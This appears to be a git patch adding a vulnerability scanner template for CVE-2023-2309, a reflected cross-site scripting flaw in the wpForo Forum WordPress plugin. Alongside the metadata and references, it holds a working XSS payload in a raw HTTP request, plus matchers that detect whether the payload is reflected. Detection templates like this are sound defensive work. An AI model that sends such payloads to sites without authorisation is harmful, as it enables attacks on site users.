From bbba105bda8489387f74a7c7a78c65172e0c6319 Mon Sep 17 00:00:00 2001
From: Kazgangap <halilkirazkaya@yandex.com>
Date: Thu, 11 Jul 2024 16:14:35 +0300
Subject: [PATCH] add CVE-2023-2309

---
 http/cves/2023/CVE-2023-2309.yaml | 39 +++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)
 create mode 100644 http/cves/2023/CVE-2023-2309.yaml

diff --git a/http/cves/2023/CVE-2023-2309.yaml b/http/cves/2023/CVE-2023-2309.yaml
new file mode 100644
index 0000000000..81ecac34b4
--- /dev/null
+++ b/http/cves/2023/CVE-2023-2309.yaml
@@ -0,0 +1,39 @@
+id: CVE-2023-2309
+
+info:
+  name: wpForo Forum <= 2.1.8 - Cross-Site Scripting
+  author: securityforeveryone
+  severity: medium
+  description: |
+    The wpForo Forum plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘wpforo_debug’ function in versions up to, and including, 2.1.8 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.
+  remediation: Fixed in 2.1.9
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2023-2309
+    - https://wpscan.com/vulnerability/1b3f4558-ea41-4749-9aa2-d3971fc9ca0d/
+    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-218-reflected-cross-site-scripting-via-wpforo-debug
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.1
+    cve-id: CVE-2023-2309
+    epss-score: 0.00052
+    epss-percentile: 0.20645
+    cpe: cpe:2.3:a:gvectors:wpforo_forum:*:*:*:*:*:wordpress:*:*
+  metadata:
+    max-request: 1
+    vendor: gvectors
+    product: wpforo_forum
+    framework: wordpress
+  tags: xss,wpscan,cve,cve2023,wp-plugin
+
+http:
+  - raw:
+      - |
+        GET /community/main-forum/?param=%3Cscript%3Ealert(/document.domain/)%3C/script%3E HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(body,"<script>alert(/document.domain/)</script>") && contains(header,"text/html")'
+          - 'status_code == 200'
+        condition: and